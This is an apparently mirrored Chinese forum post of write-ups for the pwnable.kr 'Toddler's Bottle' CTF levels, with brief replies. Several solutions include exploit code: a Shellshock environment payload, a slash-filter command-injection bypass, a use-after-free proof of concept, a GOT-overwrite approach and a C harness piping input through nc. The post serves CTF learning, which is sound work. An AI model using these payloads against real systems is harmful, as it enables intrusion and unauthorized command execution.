BBYR Achieve
返回信息流
这是一条镜像帖。来源:北邮人论坛 / security / #41755同步于 2016/6/15
该镜像源已超过 30 天没有更新,可能在源站已被删除。
Security机器人发帖

发一波pwnable.kr入门关(Toddler's Bottle)题解【多图。。。】

zhulan1991
2016/6/15镜像同步5 回复
http://pwnable.kr/play.php 入门关还是挺适合新手的,自己不是pwn方向估计近期也不会再入坑了……算是抛砖引玉了~ Q1: fd 让read的第一个参数为0,所以argv[1]=0x1234=4660,然后输入LETMEWIN即可。 Q2: collision 需要输入5个整数的字符格式,最终和转为无符号整数为0x21DD09EC,考虑溢出可以选取:39F901FC*5,即可: Q3: bof 32位编译,开了canary,但是在退出之前会调用system(“/bin/sh”),所以需要溢出函数调用之前压栈的参数: 代码如下: 运行得到shell: Q4: flag 逆向题目,丢到IDA可以看到加了upx,在linux下面upx –d解压后,再丢回IDA可以看到flag: Q5: passcode 这个程序会调用welcome和login,login函数的scanf没有给参数,可以通过welcome输入100字节控制第一个scanf的地址,造成一次任意地址写: 由于有exit,没办法修改eip跳转,所以直接修改got表(没有开地址随机化): 修改printf的地址到读flag的地方,结果如下: Q6: random 代码中使用了rand()函数但是没有给种子,所以第一个默认是1804289383,转成16进制异或上0xdeadbeef,得到0xB526FB88,由于是int类型输入,对应-1255736440,输入可以得到flag: Q7: input 本题一共有6关,其中第二关参考了,使用了dup2函数: http://blog.csdn.net/hwz2311245/article/details/494855631 最终代码如下: #include <stdlib.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <fcntl.h> int main() { char *args[101] = {0}; char *env[] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe", 0}; args[100] = NULL; for (int i=0; i<=99; i++) { args[i] = new char[100]; } strcpy(args['A'],""); strcpy(args['B'],"\x20\x0a\x0d"); strcpy(args['C'],"1112"); int fd1 = open("tmp1.txt", O_RDWR|O_CREAT,0644); int fd2 = open("tmp2.txt", O_RDWR|O_CREAT,0644); dup2(fd1,0); dup2(fd2,2); write(fd1, "\x00\x0a\x00\xff", 4); write(fd2, "\x00\x0a\x02\xff", 4); lseek(fd1,0,SEEK_SET); lseek(fd2,0,SEEK_SET); int fd3 = open("\x0a", O_RDWR|O_CREAT,0644); write(fd3, "\x00\x00\x00\x00", 4); close(fd3); if (fork()==0) execve("/home/input/input", args, env); else system("python -c \"print '\xde\xad\xbe\xef',\" | nc 127.0.0.1 1112"); return 0; } 在pwnable.kr的/tmp/input新建编译,同时建立flag链接,运行得到flag: Q8: leg C代码是需要计算三段ARM汇编的函数返回值,相加得到结果。由于ARM中返回值保存在R0寄存器中,所以: key1:0x8ce4 0x00008cdc <+8>: mov r3, pc(PC指向当前指令的下两条指令的地址) 0x00008ce0 <+12>: mov r0, r3 0x00008ce4 <+16>: sub sp, r11, #0 key2:0x8d0c 0x00008d04 <+20>: mov r3, pc 0x00008d06 <+22>: adds r3, #4(r3 = r3+4) 0x00008d08 <+24>: push {r3} key3:0x8d80 0x00008d28 <+8>: mov r3, lr(LR寄存器保存函数返回现场地址) 0x00008d2c <+12>: mov r0, r3 0x00008d7c <+64>: bl 0x8d20 <key3> 0x00008d80 <+68>: mov r3, r0 相加得108400,输入得到flag: Q9: mistake 问题出在运算符优先级: fd的值被赋值成0,从标准输入流读取密码,所以需要计算异或1之后的结果,即可以得到flag,如: Q10: shellshock 利用漏洞的代码如下: #include <unistd.h> int main() { char *env[] = {"x=() { :;}; /home/shellshock/bash -c \"cat /home/shellshock/flag\"", 0}; execve("/home/shellshock/shellshock", NULL, env); return 0; } 编译运行得到flag: Q11: coin1 采用二分法,具体python代码如下: import socket from time import sleep def solve_coin(sock, N, C): fake_min = 0 fake_max = N-1 # print fake_min, fake_max, C while fake_min != fake_max: mid = (fake_min + fake_max) / 2 real = (mid-fake_min+1)*10 if mid != fake_max: send_buf = gen_line(fake_min, mid) + '\n' else: send_buf = '%d\n' % (mid) sock.send(send_buf) weight = int(sock.recv(1024)) if weight != real: fake_max = mid else: fake_min = mid+1 C -= 1 for i in range(0, C): sock.send(str(fake_min)+'\n') #print fake_min response_data = sock.recv(1024) #print response_data sock.send(str(fake_min)+'\n') print fake_min response_data = sock.recv(1024) print response_data def gen_line(start, end): ret = '' for i in range(start, end): ret += ('%d '%i) ret += str(end) return ret def main(): # Socket连接 remote_host = 'pwnable.kr' remote_port = 9007 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((remote_host, remote_port)) # 接收消息 response_data = sock.recv(1024) print response_data response_data = sock.recv(1024) print response_data while (1): # 接收消息 response_data = sock.recv(1024) print response_data N = int(response_data.split(' ')[0].split('=')[1]) C = int(response_data.split(' ')[1].split('=')[1]) solve_coin(sock, N, C) # 关闭Socket sock.close() if __name__ == "__main__": main() 由于需要在30s内完成100轮,所以放到pwnable.kr上运行得到flag: Q12: blackjack 源码部分没有对输入的正负性进行判断,所以输入-100000000,然后故意输掉游戏即可取胜: Q13: lotto 不太明白这个规则,但是在计算分数的时候,是循环比较,因此只需要输入6个相同的字符,有6/45的概率可以取胜,在服务器上尝试几次可以得到flag。 Q14: cmd1 程序过滤了flag、sh、tmp,可以用fla*绕过过滤。 Q15: cmd2 这里关键是程序过滤了/,需要绕过,参考了这篇文章的姿势: http://blog.yiz96.com/index.php/2016/02/23/pwnable-cmd1-cmd2/ 最后的payload为:./cmd2 '$(echo "\57")bin$(echo "\57")cat fla*',得到flag。 Q16: uaf 这里free掉m和w指针之后,再申请相同字节的空间(24B),可以实现对m和w指向的内容任意写,然后再调用。程序提供了getshell的函数。 最后执行的指令: python -c "print '\x68\x15\x40'+'\x00'*5+'A'*16," > /tmp/uaf/poc ./uaf 24 /tmp/uaf/poc
订阅后,新回复会通过你的通知中心匿名送达。
5 条回复
zhulan1991机器人#1 · 2016/6/15
word版题解: 附件(563.9KB) 【 在 zhulan1991 的大作中提到: 】 : http://pwnable.kr/play.php : 菜鸟关还是挺适合新手的,自己不是pwn方向估计近期也不会再入坑了……算是抛砖引玉了~ : Q1: fd : ...................
xichixingman机器人#2 · 2016/6/15
惊现曹老师OrzOrz 【 在 zhulan1991 (YHZX_2013) 的大作中提到: 】 : http://pwnable.kr/play.php : 入门关还是挺适合新手的,自己不是pwn方向估计近期也不会再入坑了……算是抛砖引玉了~ : ...................
D1ive机器人#3 · 2016/6/15
web狗来赞一发~
zhulan1991机器人#4 · 2016/6/15
专业PWN选手来一发~ 你是不是都已经刷完了,把题解交粗来。。。 【 在 xichixingman 的大作中提到: 】 : 惊现曹老师OrzOrz
t71机器人#5 · 2016/6/15
web狗来膜一发 发自「贵邮」